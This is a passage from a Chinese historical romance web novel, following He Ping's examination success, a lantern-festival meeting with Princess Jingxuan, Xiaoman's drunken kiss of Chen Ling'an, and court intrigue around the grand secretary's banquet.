当得知陈伯父涉嫌科场舞弊时,父亲根本不信,计划联合苏州当地儒生一起给陈伯父鸣冤。却被祖父拦住了:这样做只会激起先帝更大的怒火,适得其反。 父亲就背着先帝赐的牌匾,准备动身去金陵,船还没开,陈伯父自尽的消息就传来了。 短短几天,陈伯母殉夫,陈大哥横死,陈小妹丢失…… 父亲本想把陈令安带回李家,一看到他的眼神,就知道不可能了。 陈令安变成今天的样子,父亲一点都不意外,时常与他感慨:“都说他辱没了陈家的门楣,可那股子不屈不挠的劲头,颇有其父之风。可惜,可惜了啊。” 李麟叹息一声,闭上眼睛昏昏睡去- 河边游玩的几人丝毫不知自己在别人脑子里早已嗟叹了好几遍,走累了,看花了,正要找个地方坐下来歇脚。 陈令安:“你们吃了一路,再吃正餐不消化,有间茶楼的点心不错,就在前面不远。” 何平不愿意,“此情此景,不喝点小酒岂不是辜负了?” 小满怼他:“还有半个多月就是春闱,我看你吃两口快回去看书吧,小心考不中状元。” 何平下巴一抬,“你也忒小看你哥我了……诶?”他两眼直愣愣盯着某处,忽甩开长腿跑了。 “他怎么了?”小满愕然,待看清那里站的是谁后,立刻大叫一声“不好”,把走马灯往陈砚宁手里一塞,追着何平就跑。 陈砚宁提着两盏灯,茫然地看着哥哥。 陈令安接过妹妹手中的灯,很是无奈地叹气:“我就知道,只要有他在,就不可能让我消消停停过一天。” 石拱桥上,静轩公主看着扶着膝盖呼哧呼哧直喘气的何平,下意识往后退了两步。 “我说……呼呼,我说,”何平咽口口水,费力地直起腰,“殿下呀,咱好不容易死里逃生,就别想不开啦。” “大胆狂徒!”吕嘉宜一把护住静轩公主,“胆敢对公主无礼,我看你是找死。” 何平才发现旁边还有位姑娘,“说句话就叫无礼?你的规矩也太大了,别捣乱,我和公主认识的。” 说着还摆摆手,轰人似的。 吕嘉宜气得眼圈发红,当即要唤侍卫来把他抓了。 这时静轩公主说话了,“我没想不开,不过站在桥上看风景。” 何平仔细瞧了瞧她,“嗯,这回是真话。” 静轩公主脸一红,好在周围都是花灯,到处红彤彤的,也看不出她脸红。 何平眉梢挑起一抹笑意。 静轩公主微微转过身躲避他的视线,心且慌且跳,这人好像瞧破了自己的心思,不会是笑话她吧。 桥下,树后的阴影中,小满看着桥上的人,“我觉得,我们不过去也行。” 陈令安却看向另一处,声音发冷,“完全可以。” 他视线落处,是目瞪口呆的张弼。 桥上,吕嘉宜站在他两人中间,不知为什么突然有点失落,看何平的眼神愈发不善。 “登徒子。”她低低骂了声。 静轩公主听见了,生怕她再吵起来,忙挽起她的胳膊悄悄道:“他就是想救我却把我撞到湖里的那人,叫,叫……” “鄙人叫何平,出自李太白的何日平胡虏,何平。” “原来你的名字是这层含意,我还以为是天下太平的和平。”话音甫落,静轩公主就意识到悄悄话被他听到了,一时更是尴尬。 何平大笑起来,“公主说得没错,平定胡虏,可不就天下太平了。” 吕嘉宜冷冷道:“油嘴滑舌,轻浮莽撞。” “诶诶,你这位姑娘,今天是我们第一次见面吧,我没招你没惹你,你愣逮着我一通骂,为什么呀,死也不能让我做个糊涂鬼呀。” “看你长得就不像好人,接近公主定是别有用心,滚远点,小心再把你抓进大狱。” 何平上下打量她两眼,咧嘴笑着问公主:“殿下也是这样看我的?” 静轩公主不知道怎么回答,她不觉得何平是坏人,但是这样说,会损了嘉宜的面子,让她下不来台。 嘉宜是为了她好,生怕她受骗。 想着想着,她的视线不由慢慢移向桥下某处。 蹭,何平的笑脸出现在眼前,“殿下还没回答我呢!” “你吓到我了!”静轩公主轻呼一声,面红耳赤后退几步。 何平:“对不起公主,我请你吃桂花圆子赔罪吧,有一家超好吃,甜度刚刚好,绝不是满大街的那种齁甜,汤羹加了红豆沙,顺滑细腻又有点沙沙的口感,特别是桂花,那种温婉的芳香,你吃一口就知道啦!” 静轩公主被他说得真有点饿了,“离得远吗?” “公主!”吕嘉宜脸色不大好,“太晚了,咱们该回去了。” 静轩公主怔楞了下,犹豫着点点头。 “太遗憾了,下次见面再请你吃吧。”何平挠挠头,又笑,“我中状元跨马游街那天,你得空过来呀。” 静轩公主眼神变得有点奇怪,“你也参加春闱?” 也?何平眼神闪闪,得意洋洋又无比自信,“我是冲着连中三元来的,你就瞧好吧。” 不等公主说话,吕嘉宜冷笑道:“也不撒泡尿照照自己,凭你也配?” 何平脸上的笑容终于消失了,他不笑的时候,有一种冷峻的威严,吕嘉宜身上颤了一下,居然生出几分怯色。 “你不信?” “不信!”吕嘉宜咬牙,“咱们打赌!” “好,我若不中,此生绝不做官,永绝仕途。” “不可!”静轩发急了,“何公子,功名功名,读书人就为的这二字,不做官怎能行?快收回你的话。嘉宜,赌约不作数,你不要胡闹了。” 吕嘉宜心里的火更盛,“不行,说话就要算话,何公子,若你中了,我就——” 何平突然截断她的话:“就请公主陪我吃一碗桂花圆子。” 吕嘉宜怒道:“呸,你想得美,你和我的赌约,凭什么让公主做赌注。” 何平讥讽一笑:“我以为你能替公主做主呢,原来不能。啧,说话算话,我看公主的话在你那里算不得话。” “阴我?挑唆公主疑心我,你好歹毒的心思。” “这位姑娘,我不是阴你,是提醒你。” 吕嘉宜和静轩都怔住了。 明亮的灯光将暗夜照得如同白昼,远处的禁宫变得那样近,近得清晰可见。 吕嘉宜突然打了个寒颤。 何平冲着桥下招手,又开始咧着大嘴傻乐了。 他回头笑道:“难得出来一趟,二位姑娘,要不要和我们一起去喝两杯?” 第52章 鬼使神差的, 静轩公主答应了。 她与这些人不算熟悉,吕嘉宜也一直冷着脸,陈家兄妹又是不爱说话的, 虽有小满和何平努力说笑,几人之间还是有点冷。 好在何平找的这家酒楼着实不错,美酒佳肴自不消说, 还有窖藏的苹果、香梨、冬枣、香蕉, 甚至出现反季节的黄瓜! 女孩子们不由自主围坐在一起,有这些水灵灵的水果做调剂,气氛很快热络起来。 小满一时上头,“殿下,我知道你刚才站桥上在看谁, 我也知道你为什么答应跟我们来喝酒。” 静轩公主心头一惊, 下意识看向四周。 陈砚宁走累了, 靠在她哥身上打瞌睡, 何平端着一壶酒站在窗边,对月喋喋不休。她身边只有嘉宜, 而她的心思, 嘉宜都明白。 “你看见他了?”静轩低声问。 小满重重点了下头,“我跟你说, 千万别沾张家的人,你多么金尊玉贵的人啊,怎么还想不开去染那晦气!” 静轩道:“我早就没那念头了, 只是偶然见着了,想说几句话鼓励他,这应该是我最后一次见他。” 小满摆摆手:“不可能,粘上就甩不掉了, 张家没钱没权了,他的脊梁骨也跟着断了——做了二十年的富贵公子哥,出入都是勋贵世家子弟,他怎么可能受得了如今的落魄?” 静轩愣了一下,不由想起方才与张弼对视的那一眼。 他好像的确与以前不同了,也不知是不是错觉,那眼神放着绿幽幽的暗光,好像饿极了的狗。 蓦地一阵寒气顺着后背往上爬,她禁不住打了个冷战。 暗暗关注她的吕嘉宜不由长长吁出口气,小满瞧见,嘿嘿一乐举起酒,“吕姑娘,这么看的话,我哥阴差阳错拦住殿下,也算做了件好事,你就别与他计较啦。” 吕嘉宜哼了声,略抬抬手里的酒杯,这事算是过去了。 小满一高兴,三杯五杯下了肚,说话都不利索了。 何平捅咕陈令安,“你见过小满发酒疯吗?” 陈令安摇头。 “那今天就让你见识见识。”何平坏笑,提着酒壶过去给小满续酒。 都不用人劝酒,小满举杯就喝,一壶酒眼看就要见底。 “别喝了。”陈令安拿走她的酒杯,“醉了可没人送你回去,别那样看我,你再装可怜,我也不会心软。” 小满哼哼唧唧:“知道,我们不顺路。” “顺路的。”陈砚宁不知何时醒了,“我不回家,老师让我回林园,师兄也回林园,哥你送小满姐回家。” 林园?吕嘉宜倒吸口气,那是林亭先生的居所吗,她怎么用“回”字,还老师、师兄的,这登徒子到底什么来头! 登徒子却没注意到她疑惑的目光,抚掌大笑:“妙哉妙哉,酒过三巡,菜过五味,月已至中天,随行宫人已探头三次,咱们也各回各家喽。” 下得楼来,公主的仪车果然已经候着了,掌事女官还冷冷看了何平一眼。 静轩顿生愧疚,若因自己贪玩误了人家的前途,她可就做下大孽了。 何平瞧出她的心思,立时摆出一副牛皮轰轰的模样,“本公子上头有人,殿下,您就等着请我吃酒酿圆子吧。” 静轩公主莞尔笑道:“祝你高中榜首,得偿所愿。” 仪车在宫人们的簇拥中远去了,何平犹自挥舞着手,好像公主隔着车壁能看见他似的。 小满直打晃儿,还不忘大着舌头问他:“你喜欢公主?” “对!” 如此直白,看得陈家兄妹俱是一愣。 “你肯定早有预谋,说,是不是一见钟情?” 何平得意地笑:“嘿,不愧是我妹子,要不说咱俩是一家人呢,都喜欢直来直去,有事不藏着,就是一个干净利落脆!” 小满嘟哝:“谁跟你一样,我可没把陈令安撞湖里去。” “那是意外,意外!你哥是那种人吗?再喜欢,也不能拿人家姑娘的命开玩笑。都当像你呢,大庭广众之下,抱着人就不撒手。” “我乐意,他也乐意,你管不着。” 他俩不停斗嘴,好像都忘了陈令安就在旁边,自然也瞧不见他发红的耳尖。 陈砚宁抿着嘴儿悄悄地笑,好容易把何平叫走了。 河水映着灯光,安静地躺在那里。 今晚取消了宵禁,但时候已是太晚,路上行人稀少,只有他们一辆马车慢慢走着。 陈令安赶车的技术很好,马车平稳中又有轻微的摇晃,不一会儿,车厢里就没了动静。 睡着了吧,陈令安微微松口气,再任凭她胡说八道下去,他真不知道如何应对。 拐个弯儿就是蒋家了,陈令安停下马车,准备叫醒她。 挑开车帘,发现她半睁着眼靠在车壁上,脸蛋比红灯笼还要红,眼神迷迷瞪瞪,笑得傻兮兮的,看来酒劲还没过去。 “醒醒盹儿,冷风一扑小心冻着。”陈令安说着,就要放下车帘。 却被她拽住了胳膊,使劲往后一拉。 陈令安侧坐在车辕上,脚不着地,腰后无靠,根本无从发力,不由自主倒向车厢。 车厢里铺着厚厚的地衣软褥,身后软软的,身前,也软软的…… 陈令安愕然看着压在自己身上的小满。 “长得真好看。”小满轻轻抚摸他的脸,手指滑过他的眉毛、眼睛、鼻梁…… 陈令安猛一偏头,她的手指落在了褥子上。 “别动!”小满迷瞪着双眼,干脆两手夹住他的脸摆正,“不许跑,乖乖的。” 她闭上眼,慢慢靠近了。 应该一把推开她的,可他四肢僵硬,大脑空白,连心脏在这一刻都停止了跳动。 她突然身子一软,嘴唇擦过他的脸颊,趴在了他身上。 —种难以言喻的滋味在心里荡漾,木雕似的身体很快松软了,膨胀了,灼热如火炭,脑袋晕乎乎的,手也不听使唤地抬起来。 耳边响起她轻微的鼾声。 陈令安呆了呆,手落下,捂住自己的眼睛,长长叹出口气。 简直……作弄人!- 小满醒来时,已是转天后晌了。 蒋夫人一边喂她喝醒酒汤,一边数落她不该喝那么多酒,“醉得站都站不住,还好陈令安妥帖,拿被子一裹把你抱进来,不然准着凉。” 那酒甚好,宿醉后没有头疼,只是一阵阵犯晕。 他抱自己了!小满的心急急跳个不停,慌得手都开始发抖,脸上却装没事人。 蒋夫人还担心另一桩事,“你醉得那样厉害,他有没有占你便宜……” 小满消化了会儿才弄清楚母亲的话,“您想哪儿去了,就他那个石头人的别扭性子,怎么可能!” 她占他便宜还差不多。 这个念头刚起,什么画面就从脑中一闪而过,快得让她再怎么想也想不起来到底是什么。 小满挠挠头,算啦,想不起来就不想,该吃吃,该喝喝,该睡睡。 日子一天天过去,就要到春闱了,后天二月初九就是第一场,小满想给何平鼓鼓劲,约陈令安一起去。 看到陈令安第一眼,她忍不住惊呼出声:“你怎么啦?这是熬了多少天没睡觉!” 脸色浮肿,眼下一片青紫,双眼无神,透着说不出的憔悴和疲惫。 陈令安眯起眼睛仔细打量她一番,不阴不阳笑了声,“你倒是过得挺好。” 小满不明所以,“你这话什么意思,难道要我过得不好?” “没什么意思。” “没什么意思是什么意思,人家欢欢喜喜来看你,你却这样对我!” 陈令安深吸口气,勉强压下心里的烦躁,“找我什么事?” 小满:“我们一起去给何平鼓鼓劲。” 陈令安闷不作声盯着她,忽大笑道:“哈,你找我就是为了他?” 小满被他吓了一跳,“好端端的你又发什么疯。” “发疯?对,我是要疯了,除了这事你就没别的事?你知道自从那事之后,这是我们第一次见面,关于那事你就不想说点什么?” “什么‘事’‘事’的,你都把我绕晕了。” “我才是要晕了!”陈令安腾的站起来,在屋里不停地转圈儿,指着小满“你”了半天,却是一个字也说不出口。 “你忘了,你居然忘了,装的吧,故意让我心烦是吧,想让我尝尝你当初的感受。” 小满恼了,“你能不能把话说明白,再胡搅蛮缠我就走了!” “我、我……”陈令安憋得眼角泛红,面上呈现出一种又委屈又心酸又悲愤的表情,看得小满不由捂住嘴,眉头还轻轻挑了起来。 陈令安一下子炸了,“你又这样,还这样!我都好几天没洗脸。” 脸?模糊的画面逐渐清晰起来,小满倒吸口冷气:完啦,她居然真占人家便宜啦! “那个,误会,我喝多了,醉得昏天暗地,真是误会,我不是有意的。” “误会?你居然说误会?你的意思是你趁着酒劲非礼我,非礼朝廷命官,你知道你犯的罪有多大?自从那天起,我一直紧张、激动、纠结,反复地想,反复地琢磨,所有的事全干不下去,睁眼闭眼都是……可你若无其事地跟我是误会!” 陈令安气笑了,“张小满真有你的,我现在真想把你扔到诏狱去。” 小满脸上像着了火,玫瑰色的红晕从脸上燃烧到她的脖颈,一直蔓延到衣领之下。 她低着头,小脚一下一下跐着地,只是咬着嘴唇,没有别的话,她也不知道该说哪句话。 带着花香味的春风轻轻拂过,残冬的余威还在,却挡不住春天的脚步。 她说:“你方才那些话,是真的吗?” 陈令安冷冷哼了声。 那我可不可以理解成,你喜欢我? 这话在小满嘴边徘徊许久,还是没有问出来。 她抬头,用闪闪发亮的眼睛看着他,“陈令安。” “嗯?” “还记得我们第一次见面,你对我说的话吗?” 陈令慢慢看过来,接触到她的目光,心头一悸。 抓紧我,别松手! 第53章 二月初九, 还是春寒料峭,柳梢头刚起了一点两点的绿意,随风轻轻摆着, 单等一场雾蒙蒙的春雨,便是“风细柳斜斜”的意境了。 贡院前,据马围出一大块空地, 举人老爷们排着队, 提着考篮,挨个儿验明身份,搜身进考场。 林氏夫妻名头太大,从来都不会给弟子送考。 来的是蒋夫人和小满,她们比何平还紧张, 脸上还得装出十分轻松的样子, 瞧得何平一阵乐。 蒋夫人不放心, 这是吃的, 这是应急药,这是手炉, 晚上盖好被子云云, 反反复复地叮嘱,小满几次想打断都没成功。 何平却很耐心的听完, 时不时点头回应。 排队的人少了,差役开始催促没进场的考生。 “回吧。”何平从小厮手中接过考篮,“此一去, 必定蟾宫折桂,独占鳌头,你们就准备好红封,等着打赏报喜的人吧。” 会试连考三场, 每场三天,一共九天。 期间考生吃喝拉撒睡都在狭小的号房,里面只有两块木板,一张做桌子,一张做凳子,睡觉时两块木板一拼就是床,个子高点的考生根本伸不开腿。 即是对脑力的考试,也是对体力的考验。 九天过后,何平出来了。 他知道哪舒服,跟着小满就去了蒋夫人那里,洗澡吃饭,接着蒙头大睡。一口气睡了一天一夜,迷迷糊糊爬起来吃了饭,又是倒头睡过去了。 小满啧啧称奇,“吃饭都是闭着眼睛,边吃边睡,也真是没谁了。” 蒋夫人叹道:“带的吃食再精细,也比不上家里现做的,吃不好,睡不好,还要绞尽脑汁做文章,监考的没事还转悠着吓唬人,孩子们真是太不容易了。” 又问小满:“什么时候放榜?” “先前何平说怎么也要二十多天,差不多三月初。” “那要准备起来了。” “准备什么?” “礼物呀,书院老师的,同窗的,同年的,还有拜见座师的礼,短一样都不成。” 小满问座师是谁,“除了书院老师,他就林亭先生一个老师。” 蒋夫人解释道:“座师是会试的主考官,这一科所有的进士,都算主考官的门生。会试及第后拜见座师是不成文的规矩,既为着尊师重道,又为日后的仕途顺畅,若有谁不去,就会被排挤。” “原来如此,母亲你懂得好多!”小满赞叹一声。 蒋夫人笑笑,怎能不懂呢,当初她可是费尽心思替张文打点这些人情世故。 小满脸上忽显出古怪的神色,“今年主考官是陈阁老,那何平岂不成了他的学生?陈阁老和陈令安是死敌……” 去还是不去? “当然要去!我还没特立独行到那个地步。”这天何平终于睡醒了,打着哈欠回答小满的疑问,“你当小孩子拉帮结派呢,跟我好就不准跟他好,嘁,大人的世界,有大人的规矩。” 小满白他一眼,“你该去林园了。” 何平:“没得到你满意的回答,小姑娘就恼羞成怒啦?我偏不走,就要在干娘这里等着第一名的喜报!” 小满这才消了火:“算母亲没白疼你。” 很快到了放榜的这天。 一大早蒋夫人就起来了,坐不稳站不宁的,一趟趟让人去巷子口打探,看报喜的官差有没有来。 眼看都要过巳时了,巷子口还没动静。 方妈妈担心:“不会没中吧……” “呸呸呸!”蒋夫人冲地连啐三声,合掌拜四方,“百无禁忌,大吉大利,满天神佛保佑,保佑我干儿何平此科高中榜首。不是榜首也行啊,中了就行。” 忽听外面一阵忙乱,下人满头大汗跑来,“中了,中了,何公子中了头名会元!报喜的官差说话就到。” “阿弥陀佛。”蒋夫人双掌合十,登时喜得无可无不可。 就听一阵响彻天的鞭炮锣鼓声,待声音稍停,一个嘹亮悠长的声音由远及近,“喜报——恭喜宣府何平何老爷高中会试第一名!” 声音甫落,便有数人一起重复:“恭喜宣府何平何老爷高中会试第一名!” “快叫何平过来。”蒋夫人急急道。 “干娘,我在这儿呢。”何平踱步慢慢走来,身上是家常道袍,头上只插了根桃木簪,没有带冠。 蒋夫人忙拉着他往门口走,“给你的新衣服也不知道换上。” 小满告状:“他刚起,还没来得及梳洗,我叫他好几回。” “真是……”蒋夫人不知道说什么好,方妈妈只看着他们笑。 门前,报录官翻身下马,双手举起喜报,笑呵呵道:“小的恭喜何平老爷高中榜首。” 何平咧开大嘴笑得见牙不见眼:“同喜同喜!” 蒋夫人把早预备好的红封递过去,“差爷辛苦,敢问放榜晚了是吗?” 报录官一捏红封,脸上的笑容更真诚了,“回夫人的话,何老爷留的地址是南翠书院,小的先去了书院,没寻到人。听说何老爷在蒋夫人家,小的就赶紧过来了。” 蒋夫人没多想,让方妈妈在门口撒糖撒果子,再抬两筐钱来,“大家伙都沾沾喜气。” 方妈妈响亮应声,昂首挺胸去办了——家里出了个会元,虽说是干儿子,可喜报实打实送到了夫人手里,往后,再没人敢小瞧夫人,说些不三不四的疯话了。 小满与何平说:“我猜你故意让他们先去书院报喜,让所有人都知道,母亲是你的干娘。” 何平轻轻瞥她一眼,“我只想让一个人知道。” “谁?” 何平轻轻敲她脑门一下,“笨死了。”- 张弼失魂落魄走在大街上。 到底不甘心,他逼着姚姨娘拿了五百两银子,求得老师同意,做了个书院的“旁听生”。 没日没夜苦读数月,连年节也不曾落下一天,老师也说他的文章进步不少,今年录取人数会大幅度增加,他考中的几率很高。 他不愿报录官去张家道喜,父亲是犯官,祖母瘫着,姨娘又上不得台面,家里连个支应场面的人都没有,还不如来书院。 也好叫瞧不起他的人看看,张家没落了,可他张弼,依旧是人中龙凤。 等啊等,等啊等,等到的却是榜首会元出自蒋夫人家的消息! 张小满的养兄竟然认太太当干娘,还考了第一。 那本来是他的嫡母。 会试的同窗都拿到喜报了,只有他没有。 不死心,他跑到放榜的告示牌前,一个名字一个名字的找,从前往后,从后往前,怎么也找不到他的名字。 没中…… 张弼面如死灰,拖着灌铅似的腿,一步步捱到家里。 姚姨娘早等得冒火了,见着他就问:“中了吗,多少名?哎呀,急死我了,你倒是说话呀!” “没中!”张弼蓦地大吼,“满意了吗,你满意了吗,你知道第一名的干娘是谁吗?是太太!” “喜报送到太太手里,她满大街的撒钱,给报录官的红封竟有二百两之多,这些本来都是我的,我的!太太是我的嫡母,是我的母亲,都让你毁了!” “我说过多少次,让你敬重太太,恪守尊卑,你就是不听。现在好了,太太走了,把我的气运也带走了。” 姚姨娘万想不到儿子居然把一切过错全归在她身上,待要发怒,但看儿子一脸惨然落魄的模样,又开始心疼了。 “这次不中,还有下次,三年后再中也是一样的,你小小年纪就是举人,这已经比绝大多数童生强了,再说举人也可以做官,娘家乡的教谕,就是举人出身。” “你是咒我屡试不中,一辈子举人到头?”张弼深深看了娘亲一眼,那眼神复杂极了,还隐隐含着厌恶。 姚姨娘脑子嗡的一响。 儿子变了,不再是那个她一哭,就心生愧疚跪地自责的孝子。 她呆呆望着儿子远去的背影,一阵悲凉掠过心境。 张弼忽想起来有日子没见祖母,或许她还不知道自己中举了。 虽比不上进士,举人也能让她高兴高兴,父亲也是考了好几次,才考中二甲进士。 祖母应该会帮自己出一点束脩。 院门外面挂了把锁,院子里黑洞洞的,不像有人住。 张弼立在门口愣了半晌,转身走了, 应该是祖母看姨娘不顺眼,和五妹妹搬了出去。 天黑透了,漆黑的乌鸦站在枝头,盯着毫无生气的宅院,发出两声干涩的怪叫- 北镇抚司,陈令安捏着长长一份名单,似笑非笑道:“四百来号人,都要去拜会,陈家坐得下吗?” 吴勇:“坐得下,从中堂到外院厢房,把门槛格栅门都拆了,能摆下五六十桌,一桌十个,怎么也够了。” 陈令安嗤笑一声,“觥筹交错,互相吹捧,奉承谄媚,那场面一定很热闹。” 吴勇听出上司言语中的不爽,试探问道:“要不咱给他搅局去?” “不,非但不搅局,我还要给他助助兴。” “大人的意思,咱哥几个给他弄点炮仗烟花的放放?” 陈令安认真想了想,“可以,弄点动静大的,漂亮的。” 吴勇愣住了,他本是玩笑话,上峰怎么当真了。 花钱给陈家锦上添花,太亏了,难道因为这几天小满姑娘没空搭理她,自暴自弃啦? 第54章 已是下衙的时后了, 陈绍还没有从文渊阁走的意思,随侍的老家院借上茶的功夫悄声提醒他,新取中的士子们今日要来拜访座师, 时候差不多了。 陈绍头也没抬,“叫他们回去,我早说过不见。” 老家院欲言又止, 犹豫片刻躬身退下去了。 陈绍抬眼看了看另一边的刘方, 他正对着一篇青词冥思苦想,看起来并未注意这边。 陈绍垂下眼帘,继续写条陈。 日头一点点西斜,当太阳敛去最后一丝余晖时,陈绍才放下手中的笔。 轻轻揉了揉疲倦得发酸的眼睛, 他看向刘方, “刘阁老还没走?” 刘方放下笔, 苦笑道:“我倒是想走, 可我那儿子不耐烦,把写青词的差事推给他老子。阁老知道我不擅长此道, 写了一下午, 只憋出来半篇,明儿个就要交, 我还不知道怎么办呢!” 陈绍微叹口气:“儿女是债,无债不来,咱们做老子的, 只能还债。” 刘方:“阁老说得是,我想孙子都想疯了,我儿子……唉,我好生羡慕阁老, 孙子孙女遍地跑,不像我,回家冷冷清清,只能和老妻对着长吁短叹。” “自有他的缘分。”陈绍略宽慰几句,抱着整理好的条陈走出宫门。 陈家的轿子早候着了,陈家人衣食住行都颇为讲究,轿夫不止言行举止皆有制度,抬轿子的功夫也是百里挑一,不疾不徐,舒缓平稳,哪怕陈绍端着茶水,一滴都没有溅出来。 行至陈家大门前,缓缓落轿,陈绍刚出来,就见门口熙熙攘攘的,几个管事全出来照应。 他问老家院:“家里出了什么事?” 老家院也一头雾水,还没找到人问,就见二管事向内高喊一声:“老爷回来了!” 接着他兴高采烈跑过来跪下请安,“回老爷,里面都是今年新取的进士,按惯例来拜见座师。” 陈绍皱了下眉头,瞥了眼老家院,神情不虞。 二管事也很有眼力的人,忙解释说:“老管家派人传了老爷的话,小的也和他们说了,但他们说什么也不肯走。” 这边还在说话,里面已经哗啦啦涌出来一大群人,请好的,叫老师的,自报家门攀关系的,一个个纳头就拜,吉祥话一个比一个说得漂亮。 人都是爱听好话的,陈绍脸上终于露出笑意,一边叫他们起来一边说:“起来,都起来,以后同朝为官,大家都是同僚,你们行此大礼,倒叫我无地自容了。” 院里已摆了宴席,这时候再赶人就显得太不通情理了。 陈绍笑着做了个“请”的手势,一众人簇拥着他热热闹闹入席。 近五十桌宴席摆满了中庭,陈绍高居上首,众人纷纷上前,既要表达自己对老师之景仰,为国立功之热切,又不能太谄媚失去文人风骨,那真是搜肠刮肚极尽所能,与当日贡院应试也不遑多让。 刚开始陈绍还听得有趣,听多了就觉得呱噪,借口更衣便要退席。 陈令宜见父亲瞅了自己一眼,立刻心领神会跟了上去。 “定是你让他们进来的,管事没那么大的胆子,我说过不见,你怎么不听?” 陈令宜满不在乎道:“这是惯例,每次会试放榜都是这样,你不见,人家还说父亲拿大瞧不起人!” 陈绍摇摇头,“现在情况不比往常,喝杯茶也就罢了,你却搞这么大的阵势。” “就因为不比往常,才更要见!这些人日后都是要做官的,可无论官做到多大,见了父亲,都要恭恭敬敬叫声老师,都要记得父亲对他们的提拔之恩。父亲若需要用钱,自有人将银子奉上,父亲若有个主张,自有人替父亲冲锋陷阵。” 陈令宜不无得意,“门生反对座师,就是欺师灭祖,一辈子都抬不起头来,更是绝了自己的仕途。我这么做,是替父亲招揽人才。” 道理是这个道理,要不然每次考试,有点资格的人都削尖了脑袋想挤进来当主考。 可怎么总觉得心里不大安生?陈绍望着夜空中钩子似的新月,“再过两刻钟就让他们散了。” “您不过去了?宴席刚开始没多久。”陈令宜吃惊地看着父亲,父亲却径直离去,一句回应也没有。 他真搞不懂父亲在怕什么,多少主考官都是这样过来的,怎么轮到自家就不行了? 陈令宜不理解,也不想理解,一甩袖子,他坐到了上首。 有亲信过来低声与他说道:“有个人很不上道,大家都争先恐后去拜见阁老,他却躲在人群后面,只作揖,连拜都没拜。” 陈令宜眼神立刻冷了,问是谁。 “本次的会元,何平,哼,恃才傲物,以后必会生出二心。” “他呀,不用管他。你也记着,不到万不得已,不要与他对上。” “啊……为什么,他什么来头?” 陈令宜笑笑,站起来拍拍他的肩膀,“随我去给大家敬酒。” 他手提酒壶挨桌劝酒,又命人传叫家养的歌姬舞姬助兴,一时席间热闹非凡,气氛涨到了最高点。 却在这时,忽听“砰砰”闷雷般的声响,一声接着一声,众人头上立时接二连三炸开团团焰火,那真是喷花吐霞流光溢彩,映得中庭亮如白昼,就好像天庭射出一束强光,不偏不倚照在陈家。 正在大快朵颐的何平:呦呵,放大招啦! 陈令宜一怔,“谁放的烟花?” 下人急匆匆跑来,“回大爷的话,不是府里的人放的,瞧打扮像是几位进士老爷,许是喝高兴了,一时有些忘形。” “瞧清楚了?” “瞧清楚了,那几人在巷子口点了烟花,就大笑着进门重新入席。” 陈令宜冲下面的人们一抬下巴:“你能找出来是谁吗?” 下人面露难色,“就晃了一眼,没看清长相。” 这时有人来劝酒,陈令宜不好发作扫了大家的兴致,只得作罢。 夜风扫着殿前广场上的浮土,暮春的夜风仍不乏凉意,扑在人脸上,袭走了最后一点睡意。 弘德帝把视线从夜空中收回来,“谁在放烟花?” 早在第一朵烟花炸开时,吕良就命人去查了,“回皇上话,是陈阁老家。” 弘德帝笑道:“今天他家是有什么喜事?” 前年元宵节,午门城楼前燃放焰火,火星子不慎点燃了城楼上的红绸,差点把整个午门烧了。后来皇上就颁布了禁令:除年节及重大庆典,皇宫周围十里不准燃放烟花炮竹。 而陈家,就在十里范围之内。 吕良思忖着答道:“会试放榜后,按例贡生们要去拜会主考官。” “哦?”弘德帝来了兴趣,“走,去他家瞧瞧,不摆依仗,你,再有三四个侍卫随行。” 这便是要暗访了。 很快,一行人悄悄来到陈家门前的巷子。 弘德帝没有走近,只站在角落里静静望着陈家。 已是深夜,早过了宵禁时刻,这里依旧灯火通明,门庭若市,嬉笑声混着丝竹声,清晰地传入他们每个人的耳中。 陈家的下人们一口一个“进士老爷”的叫着。 进士,应是在殿试后,分出三甲,由皇帝赐“进士出身”,“同进士出身”,方是进士的身份。 但殿试一般不会黜落考生,这些贡生迟早都有进士的身份,所以为讨个好彩头,殿试前人们也会称呼他们为进士。 端看皇上怎么想了。 吕良偷偷看了看弘德帝,皇上脸色如常,看不出有任何不悦的意思。 他想了想,试探问道:“到底违反了禁令,要不要让五城兵马司的人来管一管?” “十年寒窗,一朝金榜题名,谁也会忍不住激动的,算不得什么。”弘德帝宽和一笑,“他们都是朝廷的栋梁之才,兴师动众来抓人,亏你想得出,朕岂不成了刻薄寡恩随心所欲的昏君?” “是是。”吕良的笑带着几分羞赧和憨实。 一行人如来时一样,悄悄地离开了。 吴勇从暗影处闪现,懊恼地抓头发,“完戏,皇上根本不在意。” “不急。”陈令安不紧不慢说,“殿试还没开始,这个时候皇上才不会发作,且等着瞧吧。” 吴勇看了看陈家,言语中不乏担忧,“这些人都是陈绍的门生,等殿试结束,他们都安排了官职,对我们更不利。唉,还不如推刘方当主考官。” 陈令安笑笑,“等殿试结束,你再看。” 又是几天过去,殿试的结果出来了。 “不是状元?!”小满惊愕得头皮一阵阵发紧,使劲摇晃锦绣,“你听错了吧,怎么可能!” 锦绣费劲地把她的手从自己的肩膀上拿开,“陈大人派人送的口信,何公子是第二,榜眼。明天是传胪大典,长安门会贴黄榜,还有跨马游街,咱们去御前街再好好看看去。” 蒋夫人奇道:“榜眼也不得了呢,你怎么不为他高兴,反倒垂头丧气的?” 小满苦笑一声,“我哥他是为了连中三元的名头,才推迟三年考春闱,这下……唉,我真想不到谁能把他考过去。”- 此刻,何平正在林亭先生面前捶胸顿足,涕泪横流,“黑幕,黑幕,绝对有黑幕!” 林亭先生淡然地喝着茶,“少在我面前演戏,结果不正是你期望的?” 何平抹一把辛酸泪,“老师你这话就过分了,不说为弟子伸张正义,反倒淡定看戏,还有个老师样吗?弟子连中三元,只会让你漂亮的脸蛋更锃光瓦亮,现在没中,你这颗明珠也成死鱼眼了。” 林亭先生一口茶喷出来,“滚出去,别说我是你老师。” “晚了。”何平使劲擤了下鼻子,“那天在陈家喝酒,我没把住嘴,和所有人都说了。” 林亭先生僵住了,好半天才指着何平骂道:“你小子心真黑。” 这回可把状元郎坑惨了! 第55章 在老师那里没得到安慰, 何平扭头去找干娘。 看着哭得稀里哗啦的何平,蒋夫人心疼得眼泪都要掉下来了,一个劲儿说上面的人有眼无珠不分好赖, 就差点骂皇上不长眼了! 抽泣一阵,何平委屈巴巴地说还不如把他点成探花。 小满:“探花第三,你都第二了还哭天抢地的, 第三还了得?” “嗐, 那些话本子里的俊俏书生,要么中状元,要么点探花,谁听说过榜眼当主角的?每次跨马游街,人们看的都是状元和探花, 谁看榜眼啊!” 何平仰天长叹, “我是如此的优秀, 优秀到老天都嫉妒我啦。不行, 